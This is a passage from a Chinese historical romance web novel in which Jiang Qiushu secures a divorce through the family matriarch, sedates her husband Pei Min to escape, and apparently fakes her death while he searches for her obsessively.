关嬷嬷有过沉思,她最终还是听了姜秋姝的话。 昨日五郎怒色冲冲地离开了房间,门被用力摔了下,巨大的响动,叫玉珩院的人全都战战兢兢。 关嬷嬷伺候了五郎这么多年,从未瞧见个他发这么大的脾气。 马车上,姜秋姝闭目养神,裴珉不同意和离,极为坚决,即便她激怒他,恳求他,用尽了办法,依旧没有松口。 或许裴珉心中有过她?换作最初她定然是欣喜的,也乐于与他做个,如同阿耶阿娘般恩爱的夫妻。 可现在晚了。 即便没有他想要娶郑如珠的事,她也想要与他和离,娶不娶郑如珠,对她只是无关紧要。 可究竟如何才能叫裴珉松口呢? 姜秋姝撑着下颚,上面隐隐残留了些疼,她能够感觉到裴珉的害怕和恼怒,可她还是只想与他和离。 关嬷嬷几欲开口,想要劝却又不晓得从何开口。 “娘子,您与五郎可莫要斗气,叫旁人捡了好处!”关嬷嬷只捡了最重要的事说。 “不会。”姜秋姝摇头,看来郑如珠的事传的极为广了。 闲言碎语多入牛毛,实在惹人烦。 今日姜秋姝练起马来,比起平常要久了些,甚至开始绕着马场的边缘跑起来。 裴珉回到玉珩院,没瞧见姜秋姝的身影,他抓住路过的小厮,大声问道:“娘子呢?!” 他担忧她真的离开了!跑了! 莫名恐惧压的人难受。 小厮也是被五郎这般模样吓了跳,以前五郎对他们这些奴仆可是颇为和善的。 “去…马场了。”小厮战战兢兢道。 裴珉神情也并没有放松,原本书房里还堆积了不少的公文,此刻他也没有任何处理的心,坐在椅子上只安静了会儿,连忙唤来了小厮。 “去将娘子寻回来!” 小厮得令后,见裴珉焦急的模样,还当是大事,走动间的速度比平日也快了不少。 忽然过了游廊,险些撞到了人身上,他连忙道:“郑郎君,失礼了。” “怎这么急?”郑明恪只问道。 “五郎叫我去寻娘子回来,便急了些,方才没吓到您吧!”小厮歉疚道。 “我又不是瓷器做的,哪儿那么脆。”郑明恪笑道。 这般的话,引的小厮对郑明恪多了不少的好感。 他行礼后,便立刻离开了。 郑明恪莞尔,朝着玉珩院的方向。 姜秋姝骑了几圈,裴珉的人便寻来了,她极为不喜,可在小厮为难的神情中,她还是下了马。 回到玉珩院,可院中并没有裴珉的踪迹,她觉得有些好笑,直接回了房间。 “娘子,五郎也是担心你的安危,”关嬷嬷解释道,“上回您的事儿将五郎吓坏了。好些晚上老奴都瞧见他守在您的床边。当您惊梦时,他便拉住您的手。五郎他只是不善言辞。” 姜秋姝听着,可心依旧格外的安宁,不起风浪,关嬷嬷见她没有反应,叹了口气,关上了房门。 洛阳忽然起了阵妖风,传言裴珉与郑家在婚约未取消的情况下另娶她人,是为背信弃义。 尤其郑大儒还是裴珉的老师。 关系那般密切的情况下,依旧做出不仁不义之事,小人行径。 更有甚者说定国公府族中人,皆见利忘义,郑家遭了难,便单方毁掉了婚事,裴珉隔了多年不娶,也只是为了面上的好看。 妖风吹得很快,不多时洛阳城中对定国公府的风评皆换了副模样。 即便有郑家人多番解释,他们依旧以为郑家势弱,是国公府之人逼迫的缘故。 定国公府派人镇压,谣言很快要平息,可忽然郑如珠不知因何故昏迷了,洛阳又在传定国公府为了这场婚事,要逼死郑如珠,故意要戕害人性命。 本不管事的定国公也站了出来,清风苑里只来了五房的几位郎,太夫人还有郑明恪。 “谣言伤人,再这般下去国公府百年声望怕是不利。”太夫人蹙眉,寻求着几位郎的意见。 几房人看了看裴珉,此事自然得由裴珉来解决。 “叫五郎娶了郑六娘,也好堵住洛阳幽幽众口。”国公爷道。 裴珉看着众人的眼神中带着威压,也是少见的在长辈面前失了态,“为何没有退婚书!” 他行事谨慎,当初决定要娶姜秋姝,便去了信给营州的郑家。 谣言荒唐,怎会没有退婚书! 郑明恪愁目满面,“师兄这是不信我?营州远在千里,信件弄丢是常事,若是如珠好好站在这里,我必重新接下师兄的退婚书,可如珠昏迷不醒。师兄,她最大的心愿便是嫁给你,你叫我如何是好!” 郑明恪没了往日的风采,字字泣声。 太夫人叹了口气,“此事五郎觉得呢?与人共事一夫到底是委屈了六娘,姜氏到底还是够不上国公府五夫人的位置,你与六娘成婚后,便将人送到别院吧!” 看似询问,实则敲定下来,裴珉她虽然不喜,可却从未违背过她,太夫人看向国公,与他商议起此事来。 “郑六娘昏迷,瞧不出病因,办场婚事也是冲冲喜。” “绝无可能!”裴珉看着上首的两个人,“儿绝不与姜氏分开。” 太夫人蹙眉,平日瞧着也并无什么感情,怎如此固执,她不喜的看着他。 “五郎你是要忤逆!” 此话严重的很,尚且未插嘴的几房人,全都朝着上面的人作揖告饶。 他们余光看向了裴珉,齐人之福都不会享! 裴珉依旧态度坚决,他自幼启蒙便是崔姨娘拿着《孝经》教他认字的。对长辈从未有过不敬,只专心侍奉,可做的再多,也无法得到自己想要的。 眸光隐匿在黑暗中,他唇角弧度加深,变成了讥讽的模样。 背后愈合的伤口隐隐作痛,像是和尚头顶被香烛点上的戒疤,缠在他身上永远也抹不掉的痕迹。 郑明恪见此,不说话,只是态度坚决的很,即便伤害了一女子,他也要为他妹妹争上一争。 定国公怒而生威,他在军营待了多年,身上气势那里是旁人能比的。尤其是裴珉即便有了如今的地位,可也从未像今日这般顶撞过他。 不过是一女子罢了! 定国公直接拍板,“花开并蒂便是了,也不必将人送走!免得惹闲话。” 对这门婚事定国公是满意的,原就想五郎妻族低下难免叫人看轻,如今有了郑六娘补上了这个缺口。 什么谣言,他并未看在眼中,此事能成,他极其的欣慰。 姜秋姝好些日子未曾瞧见裴珉了,府中忙碌起来,她也听闻郑六娘病了的事。 好好的人忽然昏迷,还瞧不出病因,府里已经来了好几批大夫了。 可当一批批奴仆端着红绸从她面前过的时候,姜秋姝又听见了那些议论声。 皆是裴珉要娶郑如珠当平妻的。 姜秋姝依旧稳如泰山,坐在椅子上练着字,直到门口有小厮说郑明恪来了。 姜秋姝叫人上了茶,郑明恪瞧着虚弱了些,双眼下青色一片,只一股气撑着。 “五夫人,今日来是致歉的,”郑明恪愧疚道,“如珠回洛阳后,便没想过与你争什么,可如今她昏迷不醒,我这个当兄长的只想要满足她的愿望。” 姜秋姝一脸关切道:“那六娘如今身体怎样?大夫可曾说过何时会醒。” 郑明恪忽然弯腰,在所有人都意料不到的情况下,朝她作揖行了大礼。 “日后如珠便拜托夫人了,请你莫要为难她。” 姜秋姝愣在原地,没想到他如此举动。院外裴珉走了进来,像是未曾瞧见郑明恪般,走到她的身边。 “若是无事便离去,莫要打搅我们夫妻!”裴珉未看郑明恪,疏离中带着难言。 郑明恪身子僵硬,起身时忍不住看向裴珉的方向,可看他未曾有反应,只能离开。 “恭喜五郎了。”姜秋姝巧笑嫣然道。 “有何喜的?”裴珉看向她时,眼中像是忍着暴风。 “贺五郎将要成婚之喜啊!所以和离书多久给我。”姜秋姝朝他伸手,下一刻手腕被他抓住往房间里去。 路途中遇见了不少的奴仆,尤其是关嬷嬷担忧地看着连忙跟了上去,“五郎,娘子你们好好说,莫动气。” 房门被砰的一声关上了。 他压住姜秋姝的手,举过头顶居高临下的看着她,想要将她的真心看尽,可正如她所说,里面解释对他的祝福,和即将解脱的喜悦。 他摸着她的脸,眸光暗涌一闪而过,“就这般看不上我?偏要离开我!” 姜秋姝点头。 是,不使人欢喜的地方,留在这儿又有何用? “是我的错,日后你想要多少孩子,我都给你,你不喜我与旁人有关系,我只要你一人。” 裴珉难得低头,说这番话时,其实都难以启齿,他从不向外显露情绪,年幼时一顿顿鞭子,叫他越发寡言。 他想要说的很多,日后我会好好疼爱你,也会学学旁的姿势,即便会叫她多练字多学些礼仪,也不会苛责她。 太傅夫人的身份被多少人看着,她若是真如市井小民般没体统,又失礼,自个儿也会被世家人所排斥。 姜秋姝摇头。 裴珉痛色一闪而过,为何那般坚决,为何故意刺他,说着恭喜的话。 他压低,靠在她颈侧,“他们皆叫我娶郑六娘,可我拒绝了。” 姜秋姝不语,她晓得他的规矩大于天,也从未行过违背长辈之事,这些是他自幼所被教授的,不必为了她更改。 裴珉看出她眼中的固执,唇瓣狠狠地压下,馨香传来,裴珉更是凶狠了几分。 姜秋姝不动,任他施为。 这青天白日的,他又能作何?不过是嘴皮子与嘴皮子打架,只会叫她疼。 姜秋姝眼底变得漠视,裴珉捏着拳头,忽然含住了她的唇瓣,细细的抿着就如同喝着茶水般。 吻了会儿,又停下观察着她的表情,可她真什么反应也没有。 裴珉有些挫败,忆起了那些难听的话,他再次吻上了唇瓣,抵着她的手逐渐的掌握着她的脖颈,头被抬高,姜秋姝吓了跳,唇也因此张开了。 裴珉吻的深,尤其是触碰到唇里,滑嫩的感觉传来,叫他身体一震,不一样的感觉,让他几乎不能自持。 唇齿交融,他勾着她的舌头,往里汲取着更多的鲜美。 吻,原是这般的。 他不想停下来,可当她呼吸艰难时,他起身了些,看着她眼角无意识留下的泪珠,整张脸娇艳欲滴。 他靠近她,“是这样吗?会叫你愉悦吗?” 像是在学某种东西,很认真。 姜秋姝推开了他,眼里冷漠,“不过如此。” 裴珉不信,“你是愉悦的!” 姜秋姝起身,其实不懂他,“为何要改呢,裴珉?难道只因我提出了和离?你想要挽留?其实不必的。你是大周中书令,太傅,天子近臣,国公府五郎,讨好他人向来是你不会的。” 若她不提出和离,裴珉还能像如今般,察觉到她的不喜,而改变吗? 姜秋姝心里念头纷杂,他们并不是旁的夫妻那般鹣鲽情深,他也不必做出这般模样。 “我不想与你和离。”裴珉看着她,尤其是晓得她态度坚决时,他也不晓得该如何做,才能叫她回心转意。 他们难道不好吗?即便没有相敬如宾,可一年多的夫妻,他不想有旁的意外。 也没想过妻子会是旁的人。 两人间并没有再说什么,便是说了却只是牛头不对马嘴。 即使裴珉不愿,府中因国公下了令,热火朝天的挂起了红绸,姜秋姝即便在玉珩院也能听见外边儿的喧嚣声。 她在想,时间差不多了,该离开了。 一封和离书被放在了裴珉的书桌上,姜秋姝收到的是被撕碎了的纸,本是想要体面些的。可她改变不了裴珉的决定。 窗外又有了鸽子的声音,李长宁言她可以帮她,可她并不需要。 如今只差一步了,她晓得有人会帮她的。 她重新写了封和离书,原先写过,这次便很轻松,不必查什么典籍。 一别两宽,各自欢喜… “太夫人,我自愿离开定国公府,你是五郎的长辈,若您出面,签了和离书再送到官府,无人敢阻拦。” “此乃你与五郎的事,若老身多加干涉,五郎岂不是恨上我了。”太夫人没以往般的急躁,反倒是气定神闲的喝着茶水。 “他不会,”姜秋姝直言道,“裴珉生母崔姨娘曾是您身边的人,自幼教裴珉三纲五常,守孝悌之道。” 姜秋姝没有说太多,其余的太夫人明白。 太夫人没想到她这般的聪慧,如今她自愿走,没叫她使出什么手段,已经是慈悲,皆大欢喜。 姜秋姝将手中的和离书递了过去,“只需太夫人出面,交到官府更改户籍便可。” 太夫人将纸张接了过来,看了眼,问道:“你什么都不要?” 姜秋姝摇头。 她有裴珉给的一万两,什么都不缺。 也只想尽快离开。 第36章 第36章走了 事情既然已经定下,姜秋姝回到房间,其实她并没有什么好收拾的,只抱着那盆洛阳红,这是她进府唯一带的,属于她的东西。 又在墙角处松了松墙砖,移开了个小洞,从里面取出了个被油纸包着的东西。 这里装着一万两银票,她从未对任何人说过。 这笔钱,在嫁到定国公府后,她曾想过交还给裴珉,可最终却息了心思,裴珉不缺这笔钱,她留着若是有了孩子,便给他们存着。 正如她阿娘阿耶,活了一世,想给她留存很多的东西,可都被人夺走了。 她本想为日后的孩子打算,如阿娘做个慈母。 可… 姜秋姝收拾好,又坐到书案前,将她所抄写的东西全部整理了出来。 屋子里燃着个火盆,秋日只是凉飕飕的,火光大盛的那瞬间,照在人身上暖洋洋的。 《孝经》《女戒》《礼记》她抄写不下十次,摞在一起厚厚的,她吃力的将他们全都放在地上扔进火堆里。 一张张纸被烧尽,姜秋姝推开窗,让烟雾飘到外边儿。 “娘子您在烧什么呢?”关嬷嬷端着水,急切走了进来。 “皆是我曾抄写的。”姜秋姝回答嬷嬷,看着它们被火光吞噬干净,只留下灰烬。 “娘子您烧这个作甚?”关嬷嬷疑惑道。 “这些抄写的东西字又丑的很,眼不见心不烦。被别人瞧了,可丢脸了。”姜秋姝看着烟儿往外散去。 在看向关嬷嬷是笑着的,身上枷锁全部散开,她的笑如最初般的纯真。 关嬷嬷看着晃了晃,以往刚入府时的娘子便是这般模样的。 屋里一股子烟火儿气儿,带着墨香,抄写时的疲累,在此刻全部消散,她不想叫日后住进来的看笑话。 让人觉得,原来裴珉前夫人是这般不学无术。 即便她本身是那个模样。 姜秋姝燃烧殆尽的灰烬,感慨她在府中许久,留下的不过是丑陋的字迹,如今它也没了。 便什么也没有留下。 其余的,并没有什么是属于她的,都是属于裴珉夫人的。 她如今不是了,便都不是她的了。 姜秋姝靠在椅子上,房间里最后的墨香气也被大开的窗户吹散。 关嬷嬷站在门口看着这般模样的娘子,莫名心慌的很,好似娘子也如同那燃烧着的烟,随时都可以被风吹散,消散得无影无踪。 她走近,拿起架子上的毛笔递给了姜秋姝,“旧迹没了,娘子不若写下新的字。娘子如今的字好,写完挂在屋里赏心悦目。” 姜秋姝接过笔,朝着关嬷嬷道:“嬷嬷,你去帮我打些水来吧!” 关嬷嬷见姜秋姝要重新书写的模样,心里的慌张少了,连忙地点头,离开了房间。 姜秋姝手里把玩这笔,却也没沾墨,只是在纸上练着手腕,空写出了两个字:扬州。 她想,她该回家了,有些东西该讨要回来了。 以往她总是千盼万盼,希望赵士远能够高中,有了权势在身,能够替她报仇,可是空想。 后来嫁给了裴珉,太傅夫人的名头,更是响亮的很,可她回不了扬州。 这身份不过是空壳。 关嬷嬷端水进来时,早就没了姜秋姝的踪迹,她连忙问了问站在一旁的锦绣,“娘子呢?” “去小厨房炖汤,说要给五郎补补身子,娘子说她想一个人去,没要我跟着。” 锦绣回道。 关嬷嬷松了口气,娘子主动为五郎做吃食,也是想要缓和近日的关系。 姜秋姝去了书房,等着小厮传达后,她才走了进去。 裴珉见了她的踪影,立刻放下笔,起身,“你怎么来了?” “五郎是不欢迎我吗?”姜秋姝笑着。 裴珉难得见她这般笑颜,这些日子,两人间好似隔了层寒冰,叫人冷的很,见她这模样,他觉得意外的很 “你想来,随时皆可!” 要旁人通报的皆可? 她可不稀罕,姜秋姝眨眼便遮住所有的情绪,走向了书案的方向,“五郎说的对,妾身今生怕都无法嫁给比五郎还要好的夫君。” 她又道:“可五郎要是想娶比妾身好的妻子,可是容易的很。” 瞧她有了示弱的模样,裴珉心情好了些。 他抓住她的手,“夫妻便是一世的缘分。” 姜秋姝点头,茫茫人海结为夫妻是不易的事,况且还是她与裴珉这般相差甚远的。 姜秋姝提起食盒,放在椅子上,“这是妾身亲自做的。郎君可别说妾身不顾忌身份,只此一次。” 裴珉并没有不悦,只是她初入府,便时常守在小厨房,有为她身份考量之故,害怕府中因此轻看了她。 单一两次,可视作夫妻间恩爱事。 他也不至于那般的不通情理。 听见是姜秋姝亲自熬的,裴珉嘴角上扬,小心的喝了起来。 姜秋姝看他喝着,随意打量着书房里,那副高悬在屋子里的画,当真是给单调的书房增添了雅致。 以往,她便觉得那副画好,如今晓得是何人所画,更是觉得郑如珠不愧有洛阳第一才女的盛名。 她走到香几旁,裴珉已经喝完了汤,她也即将要离开,最后便给他个忠告吧! “五郎,你所遵守的是在古籍旧典里学的,可前朝之物并非适合本朝。不以规矩,不成方圆不假。可规矩太多,却失了人情味。” 姜秋姝每每瞧他如古画上的人,行动坐至皆约束自己,看着优雅至极,可无论何时皆如此,太累了。 或许只她觉得累,裴珉已经融进骨子里了。 毕竟他做起来是极好看的。 “妾身晓得你爱重兄长,孝顺长辈,不敢有过违背,可长者之言并未全对。若是真心疼爱子女的,怎忍心让他们痛苦。” 其实以裴珉的聪慧,太夫人所想,他皆是明白的,可依旧将其尊为嫡母。 是深压多年,至幼时而起的习惯。 目前对他也并无旁的影响,也便未曾有过改变。 裴珉下意识想要说出,不可乱议长辈之言,可看她神情中的劝诫,是真心为他所考虑的,他只是垂首。 家中并未做出对不起他之事,大都只是小利,家族奉养他至今,他若能所及,亦不会推辞。 只是裴珉瞧着姜秋姝神色疏离,这般夫妻间相近的话,却好似是她唯一一次会对他说的,绝不会有下次。 隐隐中有嘱咐,劝慰之意。 他心里莫名慌怯起来,“娘子可还是在担忧郑六娘之事。” 姜秋吟摇头,府中那般的热闹,她有什么需要担忧的。 裴珉松了口气,只道:“既然答应过你,我”说着话裴珉只觉得困倦的很。 姜秋姝看了眼,时间差不多了,她便离开了书房。 轻轻关上书房门,门口的小厮朝里望了望,郎君趴在桌上安睡着,他刚要进去,便听姜秋姝道:“五郎累了,莫要叫旁人打搅了他。” “是。” 夜漆黑,姜秋姝抱着洛阳红,关嬷嬷和锦绣原是要守夜的,她今日叫她们回去了,反倒是换了旁的人。 她们瞧见姜秋姝出了房门,想要跟上前。 “不必了,我去寻个地方将花种上。” 她们看了看姜秋姝手里干枯的花枝,玉珩院的那场闹剧,她们记忆犹新,即便是后来四房夫人压着两位娘子来向她们娘子致歉。 可满地繁华之景象也换不回来了,她们也可惜那些花草。 出了院子,便有个嬷嬷在守着了,那人瞧见了姜秋姝的身影,连忙朝着她行礼。 “不必多礼,日后也用不着了。”姜秋姝道。 这位嬷嬷是太夫人身边的人,守偏门的小厮见她们的踪影刚要阻止,可嬷嬷从腰间拿出太夫人之物,那小厮立刻让了道。 门口停着辆马车。 太夫人曾提议此事直接告诉裴珉,她相信自己能够压住裴珉,可姜秋姝却摇头。 从她前儿提出和离,裴珉的反应来看,她害怕自己走不了,便悄摸的将此事办了。 木已成舟,她便不必去烦忧那些未曾发生的麻烦。 上马车前,她回头,偏门处也悬了不少的红绸,这颜色在黑夜中并不显眼。 当初她成婚,未见新郎。如今裴珉成婚,郑如珠昏迷,未见新娘。 因果循环,世间事果真一报还一报,来得快。 姜秋姝上了马车,里面放了些干粮和水,应当是太夫人准备的,姜秋姝并未动。 等差不多过了定国公府这条街。姜秋姝忽然捂住肚子道:“车夫你且等等,我腹痛,需得上个茅厕。” 马车拉直了缰绳,立刻呵停了马。 姜秋姝背着包裹,车夫怪异的瞧了她眼,她将东西放在车夫面前,“劳烦您替我看着。” 车夫才放了心。 说完,她才连忙离开了。 车夫等了两刻钟,女子便是这般的麻烦吗? 他又等了一刻钟,可始终不瞧见姜秋姝的踪迹,忽然他脸色不对,顺着姜秋姝离开的方向找去,甚至在茅房外喊了喊,并未得到姜秋姝的回应,他直接进去了,臭气熏天,可并无一人。 车夫暗道不好。 太夫人也是在等着人禀告姜秋姝的事,便没有睡熟,等车夫跪在她面前时,她眉宇间拧起了褶皱。 “人跑了?” 车夫不敢抬头。 太夫人稳了稳心神,和离书已经签了,再反悔是无用的。 她既然自行离去,便罢了。 可越是这般想,太夫人却有种不好的念头而起。 原是想将人放在眼皮子底下的,可人不见了,总是叫人不安心。 书房的蜡烛亮了大半夜,直到最后一缕光都快要没了,夜彻底的陷入了寂静。 裴珉醒来时,头昏昏沉沉的,记忆还停留在昨日喝她亲手炖的汤,可身侧并没有她,那食盒也放置在椅子上,并没有改变。 “来人!”裴珉揉着头,小厮立刻进来,等候着他的吩咐。 “娘子呢?” 小厮蹙眉,娘子昨日便出了书房,只说让五郎好好休息。 以往五郎事忙,也经常宿在书房,他们也不敢贸然进去打搅了五郎。 裴珉心头忽然升起股不好的念头,他起身脑袋却晕眩的叫人难受,撑在椅子上菜勉强站稳。 此刻,他意识到那碗汤的不对劲。 他快速朝着房间跑去,关嬷嬷和锦绣端着水在外面候着,瞧见裴珉急匆匆的身影,她们相互看了眼,也跟着紧张起来了。 “娘子在里面?”裴珉问道,却没注意到自己声音都在颤抖。 关嬷嬷道:“娘子此时应当是醒了。” 裴珉并未松气,反倒是先她们一步推开了房门,房间里帐幔飘动,床榻上被褥上有褶皱,应当是有人躺过,可并没有姜秋姝的踪迹。 裴珉摸了摸被褥下,冰凉的很。 明显已经离开许久,屋子里没有多少的变化,他连忙走到姜秋姝的梳妆台前,打开了妆匣,东西还在,他动了口气。 可转身看着书案上,原堆了许多写好了的字,如今桌面光秃秃的,只剩下他的字帖,和几本典籍。 “那些东西呢?”裴珉指了指书案。 “娘子烧了,”关嬷嬷也意识到了不对,“娘子说她写的不好,被别人看了丢人。” 这屋子里是他和她常进入,哪里来的什么别人! 根本就没有别人! 裴珉捏着掌心,胸膛剧烈起伏着,她根本就没听进去他说的话! “五郎,娘子许是在别处,您别急,老奴叫人好好找找。”关嬷嬷见裴珉这般的神情,连忙道。 玉珩院里不少人,皆在找姜秋姝的踪迹,连国公府门房都被传召了,结果都未曾见过。 裴珉听了这些话,坐在椅子上,颤抖的手臂下,指甲陷入手心,红色的液体渗出。 关嬷嬷又惊又怕,想要上前替他包扎,可在他寂灭的目光中,身体僵硬。 府内府外皆没有她的踪影,那么大一个人平白消失,还有昨日那碗放了迷药的汤,裴珉笑了起来。 便这般想要离开他?! 一直喊着要和离之人,和离书都递给了他好几封,怎可能忽然间变了脸,对他小意温柔起来。 一切都是有预谋的。 喉咙口腥味儿往上走,他压抑着,额前青筋迸发,脑子里全是姜秋姝的一瞥一笑。 她要走,他难道会死乞白赖不顾世家子的风范的求着她,不让她离开吗? 算计他,那碗汤不是她的真心,充满了算计! 喉咙腥气彻底忍不住,一口血吐了出来,他红着眼眶,看着书案上被清空的一切。 想要离开他,除非他死! 他立刻集结了院里所有的人,府内府外皆找了起来。 又将守夜的人全部召集在一起,仔细的询问。 可她们只摇头,还是偏门的小厮太过害怕露了马脚。 裴珉怒发冲冠,将要出院子,可几房的人皆来了,说是担忧探望,可藏不住眼底看戏般的姿态。 裴珉看着他们,声音冷若寒冰,“几位兄长嫂嫂,若无事儿便离开。” 裴珉毫不客气的驱逐,落了几房的脸面,可谁也不敢上前,以往裴珉那般的温善,今日怎瞧着这般的吓人?! “五叔在找五叔母的踪影,可五叔母离开了是好事,”三娘嘟了嘟嘴,“郑姨母与五叔才是天造地设的。” 四娘也跟着点头。 裴珉眼神看着她们,不带一丝感情,“小辈妄议长辈,罚跪祠堂一日,抄写《孝经》十遍。” 裴珉滑落,四夫人将要反驳,毕竟裴珉即便官做的再高,她也是他四嫂,由得他来管束她的孩子了! “若不允,便请了族亲来,将两位娘子的事一一告知。” 四夫人一下子噤了声,若是族亲来了,不是全族的人皆晓得她不会管教子女了。 三娘和四娘被裴珉吓了跳,直接哭了起来,她们弄坏了姜秋姝的花,也不过是被训斥了顿,罚了月钱,现在只是说了些事实,便要罚跪。 祠堂又阴又冷,她们害怕。 裴珉去了清风苑,呵退了不少挡路的嬷嬷,直接闯入了太夫人的内院。 太夫人早就起了,只是由着嬷嬷替她梳头,见了裴珉的身影,她有过惊吓,但很快恢复平常。 “我夫人是你让人带走的!”裴珉压着声音,身躯隐在隐在暗中。 这语气叫太夫人不悦,她转身,将最后一只发钗戴好,“冲撞长辈,五郎还懂规矩嘛!” “太夫人送走了我妻,还问我要什么规矩!”裴珉阴冷的看着太夫人,眼里再也没有了什么谦卑。 太夫人没想到裴珉会有这般大的反应,竟然直接闯入了她的房间。 “什么妻子?你与姜氏早就和离了!”太夫人将桌上的和离书甩了过来,一副为他好的语气,“你与郑六娘本有婚约在,如今各归各位。我为你重新聘个高门贵妇,也是为你着想。” 裴珉拿过纸,不相信,可上面白纸黑字的写着,盖上了官府的印。 一别两宽,各自欢喜。 这些字刺痛了他的眼睛,这封由长辈为他签下的和离书,叫他喘不过气来。 ‘孝为德之本’。 ‘夫孝,天之经也……’① ‘裴珉,你记住嫡是嫡,庶是庶,不可与大郎争抢,要孝顺嫡母,记住了吗?记住了吗?’ 鞭子啪啪的打在他身上,姨娘还在讲着《孝经》,他疼的几乎背过气,睁不开眼,只能点头,跟着姨娘一起念着。 ‘不与大哥争抢,尊敬亲长,不可生妄念。’ 背部的伤疤隐隐作痛,可皆被心口的刺痛给压了过去。 遵从,服从?这些个规矩只是枷锁。 裴珉捏着信,一拳头砸在太夫人的妆匣上,太夫人连忙起身被嬷嬷护住,也吓了跳。 “五郎你疯了!没规矩的!我是你嫡母,长幼尊卑,孝道大于天!”太夫人不相信的看着他。 这是裴珉头一次在她面前放肆。 只是为了个市井粗野女子? 裴珉只看着这封和离书,心里滴着血。 尊卑,孝道,规矩?只是叫她离他更远,没有留念。 第37章 第37章疯 裴珉将和离书撕碎,空中碎纸屑飘扬,乱了一地。 什么和离书?!他哂笑道。 太夫人捂住胸口,看着东西被裴珉撕碎,气闷的几乎要晕倒,“裴珉你真是疯了,撕了又如何?官府早就改了户籍!为了个女人这样子,成何体统!” 太夫人也没想到,裴珉会有这般的疯状,他自幼皆在她的布置下,只除了在郑大儒的帮助下,靠着科举入了仕。 那是裴珉第一次脱离了她的线,可后面他依旧将她尊为嫡母,未曾敢有任何的越举,如今为了个市井女子,竟然头一次不顾礼仪冲进了她的院子。 “那封和离书,我不认,姜秋姝永远是我的妻子,”裴珉认真道,“太夫人你想要的,我从不去争,如今你敢做出这样的事,就别怪我了!” 他什么意思,要抢她孙儿的位置? 太夫人听了裴珉的话,头脑发昏撑不住,奴仆赶紧去扶,又去找大夫,清风苑乱做了一团。 裴珉出了院子,立刻召集了府中的侍卫,开始沿着洛阳附近进行搜查,甚至头一回私用中书令的身份,绘制了姜秋姝的画像,给附近的道州颁布了命令。 找人,将人平安的带回来。 马蹄声声,洛阳城里的人从未像这几日般来的密集,街道的小贩连连避让,又忍不住朝马背上的人啐了口。 还要不要人做生意了! 夜雨来的急,秋叶被打落,只剩下光秃秃的一片,裴珉骑着马,将周遭的村庄都问了个遍,这些日子,李明澈皆陪着他。 听闻消息后,李明澈便上门问候,他隐约能够察觉姜秋姝对裴珉的不同。 谁料见的不是以往山岳之姿,岿然不动的裴珉,反倒是苍白着一张脸,眼眸幽深,似险如绝境的沉渊。 他被吓了跳,当裴珉站立都不稳的情况下,还要去寻人,李明澈怕他出了事,又阻拦不了他,连忙跟着一道。 “先回去吧!”雨实在太大了,这些日子将能找的地方,都找了个遍,李明澈不信那么大个人,还能平白的消失不见,心头其实有了不好的念头,可不敢跟裴珉说。 裴珉不语,只驱赶着马,往更远去寻。 这般狠心的小娘子,他要将她找回来,锁在房间里,叫她再也跑不掉。 雨打在他身上,他其实早就没了知觉,只是想要找到她。 姜秋姝!为何将他舍弃的那般痛快! 心脏痛的都要失去知觉,他多次告诉自己不过是个小娘子。 洛阳比她高贵,比她温柔的多的是! 可都不是她! 裴珉眼前忽然出现了姜秋姝的影子,他伸手想要抓住她,将要将她死死的困在怀中,叫她只能看着他一人,再也逃不开! 而后面的李明澈惊恐的瞪大了眸子,看着人就这么从马上坠了下来。 定国公府外,李明澈和其余人搀扶着裴珉,使劲地敲门,门房不耐的穿着衣裳走了出来,等瞧见被众人围住的裴珉,他连忙去帮他们扶人。 李明澈朝他呵道:“快去请大夫。” 雨淅淅沥沥不停,其实有小了的痕迹,可依旧黏腻不断,那股阴冷直接往身体里钻。 关嬷嬷端着药,走了进来,看着床上的裴珉,叹了口气。 裴珉眼皮动了动,要醒的模样,关嬷嬷立刻上前查看,等裴珉醒来,她面露惊喜。 “娘子呢?”裴珉疲惫的看着关嬷嬷。 关嬷嬷一下子没了反应,只是垂眸眼眸带着湿润。 原来不过是幻觉,裴珉撑在床架上,将要起来,关嬷嬷连忙去扶。 “五郎,大夫让您休息。” 裴珉直接起身拿起了屏风处的外衣,要往门外去,继续找人。 “五郎,娘子不会回来了!”关嬷嬷道,“您派出去的人,在东鸣山悬崖寻到了娘子的衣服和那盆洛阳红的残枝。” “你说什么?”裴珉眸光血色渐显。 “东鸣山偏僻,且野兽众多,娘子尸骨无存!”关嬷嬷声音沉痛,还是如实道,“娘子有多珍惜那洛阳红,怎会舍得只留下那洛阳红。” 裴珉额头青筋横发,呼吸不顺畅起来,他撑在门框上,“带我去看!” 东鸣山在洛阳往东的方向,人烟罕见,往山顶的方向连条小道都没有,加之近日来下雨,腐叶湿滑,很难到达山顶。 众人看着悬崖处,深不见底,尤其此刻云雾笼罩,叫人望之生畏。 “娘子应当是为了躲避我们才上了山,这几日雨又大,娘子一时失足。”小厮声音沉痛,裴珉却无半点儿的反应。 他看着他们呈上来的衣服和绣鞋,紧紧地盯着,忽然他竟然大笑起来。 她不会的。 她实在太无情了! 这声音,令一直在旁侧的侍卫惊吓,谁不晓得半月前郎君寻娘子几近癫狂的模样,如今这笑叫他们背脊生了凉,毛骨悚然。 可声音忽然停了,原本好好站着的人,再次晕倒,随行的人连忙将人给带下了山。 郎君找个好些日子,从没休息过,男坚持到如今,已经很好了! 秋日天高气爽,城里还是有极多的人来往,百姓只听闻是丢了个人,正在四处搜索。 只求早些找到,免得耽搁了他们的生意。 裴珉好些日子没去上朝,惹恼了圣人,勒令他在府中禁闭。 府中人皆没想到,一个姜秋姝会对他有这般大的影响,纷纷劝他莫再寻人了,也盖棺定论,姜秋姝不慎坠崖,死了。 裴珉直接封了玉珩院,不许府中其他人进入,也不许旁人胡言姜秋姝的死讯。 即便有禁足令在,他依旧常出府寻姜秋姝的身影,圣人对此事睁一只眼闭一只眼。 只是朝中弹劾他的人激增,裴珉浑然无畏。 直到某日天黑,他去了裴秋月的院子,叫人将赵士远绑了。 “你可知她会去何处?” 赵士远被侍卫给压着,裴珉的逼问尚在耳侧,他怎会晓得她会去何处呢? 两人早就恩断义绝,赵士远眸子灰败,听了姜秋姝的事,他从未这般心痛过。 裴珉朝着小厮道:“搜!” 即便有一丁点儿的可能,他都不想放过。如今他已走投无路! 哪儿都寻不到她! 裴秋月连忙去拦,可拦不住,只能扑过去抱着赵士远。 “五叔,你魔怔了吗!府中有谁看得上姜秋姝的!”裴秋月见不得五叔为了那女人成了如今的模样,“不过是人无声息的离开,五叔你心中有气,逞一时之气罢了!” 裴秋月才不觉得五叔有多心悦姜秋姝,行房都要照着日子来,哪里像夫妻? 